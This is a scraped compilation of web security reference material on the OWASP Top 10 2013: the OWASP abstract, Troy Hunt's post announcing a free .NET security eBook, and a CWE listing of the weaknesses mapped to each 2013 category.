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Skip	Bibliometrics	Section	Skip	Abstract	Section	tl;dr:	it's	a	scary	world	out	there!	Welcome	to	the	OWASP	Top	10	2013!	This	update	broadens	one	of	the	categories	from	the	2010	version	to	be	more	inclusive	of	common,	important	vulnerabilities,	and	reorders	some	of	the	others	based	on	changing	prevalence	data.	It	also	brings	component	security	into	the	spotlight	by	creating	a	specific	category	for	this	risk,	pulling	it	out	of	the	obscurity	of	the	fine	print	of	the	2010	risk	A6:	Security	Misconfiguration.	The	OWASP	Top	10	for	2013	is	based	on	8	datasets	from	7
firms	that	specialize	in	application	security,	including	4	consulting	companies	and	3	tool/SaaS	vendors	(1	static,	1	dynamic,	and	1	with	both).	This	data	spans	over	500,000	vulnerabilities	across	hundreds	of	organizations	and	thousands	of	applications.	The	Top	10	items	are	selected	and	prioritized	according	to	this	prevalence	data,	in	combination	with	consensus	estimates	of	exploitability,	detectability,	and	impact	estimates.	The	primary	aim	of	the	OWASP	Top	10	is	to	educate	developers,	designers,	architects,	managers,	and	organizations	about	the
consequences	of	the	most	important	web	application	security	weaknesses.	The	Top	10	provides	basic	techniques	to	protect	against	these	high	risk	problem	areas	and	also	provides	guidance	on	where	to	go	from	here.	Copyright	2003	2013	The	OWASP	Foundation	This	document	is	released	under	the	Creative	Commons	Attribution	ShareAlike	3.0	license.	For	any	reuse	or	distribution,	you	must	make	it	clear	to	others	the	license	terms	of	this	work.	PorOWASP	FoundationUsualmente	se	imprime	en	3	-	5	días	hábiles	tl;dr:	it's	a	scary	world	out	there!Welcome	to	the
OWASP	Top	10	2013!	This	update	broadens	one	of	the	categories	from	the	2010	version	to	be	more	inclusive	of	common,	important	vulnerabilities,	and	reorders	some	of	the	others	based	on	changing	prevalence	data.	It	also	brings	component	security	into	the	spotlight	by	creating	a	specific	category	for	this	risk,	pulling	it	out	of	the	obscurity	of	the	fine	print	of	the	2010	risk	A6:	Security	Misconfiguration.	The	OWASP	Top	10	for	2013	is	based	on	8	datasets	from	7	firms	that	specialize	in	application	security,	including	4	consulting	companies	and	3	tool/SaaS
vendors	(1	static,	1	dynamic,	and	1	with	both).	This	data	spans	over	500,000	vulnerabilities	across	hundreds	of	organizations	and	thousands	of	applications.	The	Top	10	items	are	selected	and	prioritized	according	to	this	prevalence	data,	in	combination	with	consensus	estimates	of	exploitability,	detectability,	and	impact	estimates.	The	primary	aim	of	the	OWASP	Top	10	is	to	educate	developers,	designers,	architects,	managers,	and	organizations	about	the	consequences	of	the	most	important	web	application	security	weaknesses.	The	Top	10	provides	basic
techniques	to	protect	against	these	high	risk	problem	areas	–	and	also	provides	guidance	on	where	to	go	from	here.Copyright	©	2003	–	2013	The	OWASP	FoundationThis	document	is	released	under	the	Creative	Commons	Attribution	ShareAlike	3.0	license.	For	any	reuse	or	distribution,	you	must	make	it	clear	to	others	the	license	terms	of	this	work.	Writing	this	series	was	an	epic	adventure	in	all	senses	of	the	word:	Duration	–	19	months	to	complete	a	blog	series,	for	crying	out	loud!	Content	–	approaching	50,000	words,	not	including	all	the	discussion	in
comments.	Effort	–	some	of	the	posts,	such	as	transport	layer	security,	probably	approached	100	hours	of	reading,	trialling,	experimenting	and	finally,	writing	and	proofing.	This	is	why	there	was	a	four	month	“hiatus”	before	that	post!	But	most	of	all,	it	was	an	epic	learning	adventure	for	me.	Writing	the	series	forced	me	to	know	this	content	in	depth,	not	just	the	depth	that	facilitates	casual	conversation	and	allows	me	to	send	people	off	to	figure	out	how	to	fix	their	flaws,	but	the	depth	to	really	get	to	grips	with	these	risks,	ensure	I	could	exploit	them	and	then
make	sure	I	could	fix	them	again.	For	example,	I	knew	–	and	many	of	us	know	–	that	unsalted	hashes	are	vulnerable	to	a	rainbow	attack	but	I’d	never	actually	executed	one	of	these	attacks	myself.	So	I	did.	Same	again	on	sniffing	packets;	knowing	that	lack	of	transport	protection	leaves	network	traffic	vulnerable	is	one	thing,	sitting	in	the	car	outside	McDonald’s	and	actually	capturing	wifi	traffic	and	hijacking	the	session	(my	own,	that	is!)	is	another	thing	altogether.	Looking	back	on	it,	I’m	really	happy	with	what	I’ve	produced.	It’s	been	a	great	experience	for
me	and	by	all	accounts,	it’s	been	very	well	received	by	the	.NET	and	OWASP	communities	as	well.	It	turns	out	I	might	have	actually	produced	something	pretty	useful!	So	I	decided	to	turn	it	into	an	eBook.	Oh	–	and	give	it	away	for	free.	No	strings	attached.	So	here	it	is,	255	pages	of	.NET	web	development	security	goodness.	Please	share	it	generously,	chuck	it	on	your	eBook	reader,	email	it	to	your	mates,	quote	me,	force	your	developers	to	print	and	read	every	page	–	whatever	–	it’s	all	yours:	[	click	to	download	]	If	you	find	it	useful,	leave	me	a	comment,	flick
me	an	email	or	fire	me	through	a	tweet	as	the	feedback	really	is	appreciated.	Happy	reading	and	happy	holidays	everyone.	Security	.NET	OWASP	Tweet	Post	Update	Email	RSS	Hi,	I'm	Troy	Hunt,	I	write	this	blog,	create	courses	for	Pluralsight	and	am	a	Microsoft	Regional	Director	and	MVP	who	travels	the	world	speaking	at	events	and	training	technology	professionals	Downloads:	Booklet	|	CSV	|	XMLCWE	nodes	in	this	view	(graph)	are	associated	with	the	OWASP	Top	Ten,	as	released	in	2013.	This	view	is	considered	obsolete	as	a	newer	version	of	the	OWASP
Top	Ten	is	available.	StakeholderDescriptionSoftware	DevelopersThis	view	outlines	the	most	important	issues	as	identified	by	the	OWASP	Top	Ten	(2013	version),	providing	a	good	starting	point	for	web	application	developers	who	want	to	code	more	securely.	Product	CustomersThis	view	outlines	the	most	important	issues	as	identified	by	the	OWASP	Top	Ten	(2013	version),	providing	customers	with	a	way	of	asking	their	software	developers	to	follow	minimum	expectations	for	secure	code.	EducatorsSince	the	OWASP	Top	Ten	covers	the	most	frequently
encountered	issues,	this	view	can	be	used	by	educators	as	training	material	for	students.	928	-	Weaknesses	in	OWASP	Top	Ten	(2013)Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a	common	characteristic.OWASP	Top	Ten	2013	Category	A1	-	Injection	-	(929)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	929	(OWASP	Top	Ten	2013	Category	A1	-	Injection)	Class	-	a	weakness	that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any	specific	language	or	technology.	More	specific	than	a	Pillar	Weakness,	but	more	general
than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Improper	Neutralization	of	Special	Elements	in	Output	Used	by	a	Downstream	Component	('Injection')	-	(74)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	929	(OWASP	Top	Ten	2013	Category	A1	-	Injection)	>	74	(Improper	Neutralization	of	Special	Elements	in	Output	Used	by	a	Downstream	Component	('Injection'))	Class	-	a	weakness	that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any
specific	language	or	technology.	More	specific	than	a	Pillar	Weakness,	but	more	general	than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Improper	Neutralization	of	Special	Elements	used	in	a	Command	('Command	Injection')	-	(77)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	929	(OWASP	Top	Ten	2013	Category	A1	-	Injection)	>	77	(Improper	Neutralization	of	Special	Elements	used	in	a	Command	('Command	Injection'))	Base	-	a	weakness	that	is	still
mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Improper	Neutralization	of	Special	Elements	used	in	an	OS	Command	('OS	Command	Injection')	-	(78)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	929	(OWASP	Top	Ten	2013	Category	A1	-	Injection)	>	78	(Improper	Neutralization	of	Special	Elements	used	in	an	OS	Command
('OS	Command	Injection'))	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Improper	Neutralization	of	Argument	Delimiters	in	a	Command	('Argument	Injection')	-	(88)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	929	(OWASP	Top	Ten	2013	Category	A1	-	Injection)	>	88	(Improper	Neutralization
of	Argument	Delimiters	in	a	Command	('Argument	Injection'))	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Improper	Neutralization	of	Special	Elements	used	in	an	SQL	Command	('SQL	Injection')	-	(89)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	929	(OWASP	Top	Ten	2013	Category	A1	-
Injection)	>	89	(Improper	Neutralization	of	Special	Elements	used	in	an	SQL	Command	('SQL	Injection'))	Variant	-	a	weakness	that	is	linked	to	a	certain	type	of	product,	typically	involving	a	specific	language	or	technology.	More	specific	than	a	Base	weakness.	Variant	level	weaknesses	typically	describe	issues	in	terms	of	3	to	5	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.SQL	Injection:	Hibernate	-	(564)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	929	(OWASP	Top	Ten	2013	Category	A1	-	Injection)	>	89	(Improper
Neutralization	of	Special	Elements	used	in	an	SQL	Command	('SQL	Injection'))	>	564	(SQL	Injection:	Hibernate)	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Improper	Neutralization	of	Special	Elements	used	in	an	LDAP	Query	('LDAP	Injection')	-	(90)928	(Weaknesses	in	OWASP	Top	Ten	(2013))
>	929	(OWASP	Top	Ten	2013	Category	A1	-	Injection)	>	90	(Improper	Neutralization	of	Special	Elements	used	in	an	LDAP	Query	('LDAP	Injection'))	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.XML	Injection	(aka	Blind	XPath	Injection)	-	(91)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	929
(OWASP	Top	Ten	2013	Category	A1	-	Injection)	>	91	(XML	Injection	(aka	Blind	XPath	Injection))	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Improper	Neutralization	of	Data	within	XPath	Expressions	('XPath	Injection')	-	(643)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	929	(OWASP	Top	Ten
2013	Category	A1	-	Injection)	>	643	(Improper	Neutralization	of	Data	within	XPath	Expressions	('XPath	Injection'))	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Improper	Neutralization	of	Data	within	XQuery	Expressions	('XQuery	Injection')	-	(652)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>
929	(OWASP	Top	Ten	2013	Category	A1	-	Injection)	>	652	(Improper	Neutralization	of	Data	within	XQuery	Expressions	('XQuery	Injection'))	Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a	common	characteristic.OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management	-	(930)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	930	(OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management)	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with
sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Plaintext	Storage	of	a	Password	-	(256)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	930	(OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management)	>	256	(Plaintext	Storage	of	a	Password)	Class	-	a	weakness	that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any	specific	language	or
technology.	More	specific	than	a	Pillar	Weakness,	but	more	general	than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Improper	Authentication	-	(287)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	930	(OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management)	>	287	(Improper	Authentication)	Class	-	a	weakness	that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any	specific	language	or	technology.	More	specific
than	a	Pillar	Weakness,	but	more	general	than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Missing	Encryption	of	Sensitive	Data	-	(311)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	930	(OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management)	>	311	(Missing	Encryption	of	Sensitive	Data)	Composite	-	a	Compound	Element	that	consists	of	two	or	more	distinct	weaknesses,	in	which	all	weaknesses	must	be	present	at	the	same
time	in	order	for	a	potential	vulnerability	to	arise.	Removing	any	of	the	weaknesses	eliminates	or	sharply	reduces	the	risk.	One	weakness,	X,	can	be	"broken	down"	into	component	weaknesses	Y	and	Z.	There	can	be	cases	in	which	one	weakness	might	not	be	essential	to	a	composite,	but	changes	the	nature	of	the	composite	when	it	becomes	a	vulnerability.Session	Fixation	-	(384)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	930	(OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management)	>	384	(Session	Fixation)	Class	-	a	weakness
that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any	specific	language	or	technology.	More	specific	than	a	Pillar	Weakness,	but	more	general	than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Insufficiently	Protected	Credentials	-	(522)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	930	(OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management)	>	522	(Insufficiently	Protected	Credentials)	Base	-	a	weakness	that
is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Unprotected	Transport	of	Credentials	-	(523)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	930	(OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management)	>	523	(Unprotected	Transport	of	Credentials)	Base	-	a	weakness	that	is	still	mostly
independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Insufficient	Session	Expiration	-	(613)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	930	(OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management)	>	613	(Insufficient	Session	Expiration)	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or
technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Unverified	Password	Change	-	(620)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	930	(OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management)	>	620	(Unverified	Password	Change)	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details
to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Weak	Password	Recovery	Mechanism	for	Forgotten	Password	-	(640)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	930	(OWASP	Top	Ten	2013	Category	A2	-	Broken	Authentication	and	Session	Management)	>	640	(Weak	Password	Recovery	Mechanism	for	Forgotten	Password)	Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a
common	characteristic.OWASP	Top	Ten	2013	Category	A3	-	Cross-Site	Scripting	(XSS)	-	(931)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	931	(OWASP	Top	Ten	2013	Category	A3	-	Cross-Site	Scripting	(XSS))	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Improper	Neutralization	of	Input
During	Web	Page	Generation	('Cross-site	Scripting')	-	(79)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	931	(OWASP	Top	Ten	2013	Category	A3	-	Cross-Site	Scripting	(XSS))	>	79	(Improper	Neutralization	of	Input	During	Web	Page	Generation	('Cross-site	Scripting'))	Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a	common	characteristic.OWASP	Top	Ten	2013	Category	A4	-	Insecure	Direct	Object	References	-	(932)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	932	(OWASP	Top	Ten	2013	Category	A4	-	Insecure	Direct	Object
References)	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Improper	Limitation	of	a	Pathname	to	a	Restricted	Directory	('Path	Traversal')	-	(22)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	932	(OWASP	Top	Ten	2013	Category	A4	-	Insecure	Direct	Object	References)	>	22	(Improper	Limitation	of
a	Pathname	to	a	Restricted	Directory	('Path	Traversal'))	Class	-	a	weakness	that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any	specific	language	or	technology.	More	specific	than	a	Pillar	Weakness,	but	more	general	than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Improper	Control	of	Resource	Identifiers	('Resource	Injection')	-	(99)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	932	(OWASP	Top	Ten	2013	Category	A4	-	Insecure	Direct
Object	References)	>	99	(Improper	Control	of	Resource	Identifiers	('Resource	Injection'))	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Authorization	Bypass	Through	User-Controlled	Key	-	(639)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	932	(OWASP	Top	Ten	2013	Category	A4	-	Insecure
Direct	Object	References)	>	639	(Authorization	Bypass	Through	User-Controlled	Key)	Class	-	a	weakness	that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any	specific	language	or	technology.	More	specific	than	a	Pillar	Weakness,	but	more	general	than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Use	of	Incorrectly-Resolved	Name	or	Reference	-	(706)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	932	(OWASP	Top	Ten	2013	Category	A4	-
Insecure	Direct	Object	References)	>	706	(Use	of	Incorrectly-Resolved	Name	or	Reference)	Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a	common	characteristic.OWASP	Top	Ten	2013	Category	A5	-	Security	Misconfiguration	-	(933)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	933	(OWASP	Top	Ten	2013	Category	A5	-	Security	Misconfiguration)	Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a	common	characteristic.7PK	-	Environment	-	(2)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	933	(OWASP	Top	Ten
2013	Category	A5	-	Security	Misconfiguration)	>	2	(7PK	-	Environment)	Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a	common	characteristic.Configuration	-	(16)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	933	(OWASP	Top	Ten	2013	Category	A5	-	Security	Misconfiguration)	>	16	(Configuration)	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the
following	dimensions:	behavior,	property,	technology,	language,	and	resource.Generation	of	Error	Message	Containing	Sensitive	Information	-	(209)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	933	(OWASP	Top	Ten	2013	Category	A5	-	Security	Misconfiguration)	>	209	(Generation	of	Error	Message	Containing	Sensitive	Information)	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or
3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Insertion	of	Sensitive	Information	Into	Debugging	Code	-	(215)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	933	(OWASP	Top	Ten	2013	Category	A5	-	Security	Misconfiguration)	>	215	(Insertion	of	Sensitive	Information	Into	Debugging	Code)	Variant	-	a	weakness	that	is	linked	to	a	certain	type	of	product,	typically	involving	a	specific	language	or	technology.	More	specific	than	a	Base	weakness.	Variant	level	weaknesses	typically	describe	issues	in	terms	of	3	to	5	of	the
following	dimensions:	behavior,	property,	technology,	language,	and	resource.Exposure	of	Information	Through	Directory	Listing	-	(548)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	933	(OWASP	Top	Ten	2013	Category	A5	-	Security	Misconfiguration)	>	548	(Exposure	of	Information	Through	Directory	Listing)	Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a	common	characteristic.OWASP	Top	Ten	2013	Category	A6	-	Sensitive	Data	Exposure	-	(934)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	934	(OWASP	Top	Ten	2013	Category
A6	-	Sensitive	Data	Exposure)	Class	-	a	weakness	that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any	specific	language	or	technology.	More	specific	than	a	Pillar	Weakness,	but	more	general	than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Missing	Encryption	of	Sensitive	Data	-	(311)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	934	(OWASP	Top	Ten	2013	Category	A6	-	Sensitive	Data	Exposure)	>	311	(Missing	Encryption	of	Sensitive
Data)	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Cleartext	Storage	of	Sensitive	Information	-	(312)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	934	(OWASP	Top	Ten	2013	Category	A6	-	Sensitive	Data	Exposure)	>	312	(Cleartext	Storage	of	Sensitive	Information)	Base	-	a	weakness	that	is
still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Cleartext	Transmission	of	Sensitive	Information	-	(319)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	934	(OWASP	Top	Ten	2013	Category	A6	-	Sensitive	Data	Exposure)	>	319	(Cleartext	Transmission	of	Sensitive	Information)	Category	-	a	CWE	entry	that	contains	a	set	of
other	entries	that	share	a	common	characteristic.Key	Management	Errors	-	(320)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	934	(OWASP	Top	Ten	2013	Category	A6	-	Sensitive	Data	Exposure)	>	320	(Key	Management	Errors)	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Missing
Cryptographic	Step	-	(325)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	934	(OWASP	Top	Ten	2013	Category	A6	-	Sensitive	Data	Exposure)	>	325	(Missing	Cryptographic	Step)	Class	-	a	weakness	that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any	specific	language	or	technology.	More	specific	than	a	Pillar	Weakness,	but	more	general	than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Inadequate	Encryption	Strength	-	(326)928
(Weaknesses	in	OWASP	Top	Ten	(2013))	>	934	(OWASP	Top	Ten	2013	Category	A6	-	Sensitive	Data	Exposure)	>	326	(Inadequate	Encryption	Strength)	Class	-	a	weakness	that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any	specific	language	or	technology.	More	specific	than	a	Pillar	Weakness,	but	more	general	than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Use	of	a	Broken	or	Risky	Cryptographic	Algorithm	-	(327)928	(Weaknesses	in
OWASP	Top	Ten	(2013))	>	934	(OWASP	Top	Ten	2013	Category	A6	-	Sensitive	Data	Exposure)	>	327	(Use	of	a	Broken	or	Risky	Cryptographic	Algorithm)	Base	-	a	weakness	that	is	still	mostly	independent	of	a	resource	or	technology,	but	with	sufficient	details	to	provide	specific	methods	for	detection	and	prevention.	Base	level	weaknesses	typically	describe	issues	in	terms	of	2	or	3	of	the	following	dimensions:	behavior,	property,	technology,	language,	and	resource.Use	of	Weak	Hash	-	(328)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	934	(OWASP	Top	Ten
2013	Category	A6	-	Sensitive	Data	Exposure)	>	328	(Use	of	Weak	Hash)	Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a	common	characteristic.OWASP	Top	Ten	2013	Category	A7	-	Missing	Function	Level	Access	Control	-	(935)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	935	(OWASP	Top	Ten	2013	Category	A7	-	Missing	Function	Level	Access	Control)	Class	-	a	weakness	that	is	described	in	a	very	abstract	fashion,	typically	independent	of	any	specific	language	or	technology.	More	specific	than	a	Pillar	Weakness,	but	more	general
than	a	Base	Weakness.	Class	level	weaknesses	typically	describe	issues	in	terms	of	1	or	2	of	the	following	dimensions:	behavior,	property,	and	resource.Improper	Authorization	-	(285)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	935	(OWASP	Top	Ten	2013	Category	A7	-	Missing	Function	Level	Access	Control)	>	285	(Improper	Authorization)	Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a	common	characteristic.OWASP	Top	Ten	2013	Category	A8	-	Cross-Site	Request	Forgery	(CSRF)	-	(936)928	(Weaknesses	in	OWASP	Top	Ten	(2013))
>	936	(OWASP	Top	Ten	2013	Category	A8	-	Cross-Site	Request	Forgery	(CSRF))	Composite	-	a	Compound	Element	that	consists	of	two	or	more	distinct	weaknesses,	in	which	all	weaknesses	must	be	present	at	the	same	time	in	order	for	a	potential	vulnerability	to	arise.	Removing	any	of	the	weaknesses	eliminates	or	sharply	reduces	the	risk.	One	weakness,	X,	can	be	"broken	down"	into	component	weaknesses	Y	and	Z.	There	can	be	cases	in	which	one	weakness	might	not	be	essential	to	a	composite,	but	changes	the	nature	of	the	composite	when	it	becomes	a
vulnerability.Cross-Site	Request	Forgery	(CSRF)	-	(352)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	936	(OWASP	Top	Ten	2013	Category	A8	-	Cross-Site	Request	Forgery	(CSRF))	>	352	(Cross-Site	Request	Forgery	(CSRF))	Category	-	a	CWE	entry	that	contains	a	set	of	other	entries	that	share	a	common	characteristic.OWASP	Top	Ten	2013	Category	A10	-	Unvalidated	Redirects	and	Forwards	-	(938)928	(Weaknesses	in	OWASP	Top	Ten	(2013))	>	938	(OWASP	Top	Ten	2013	Category	A10	-	Unvalidated	Redirects	and	Forwards)	Base	-	a	weakness	that	is	still
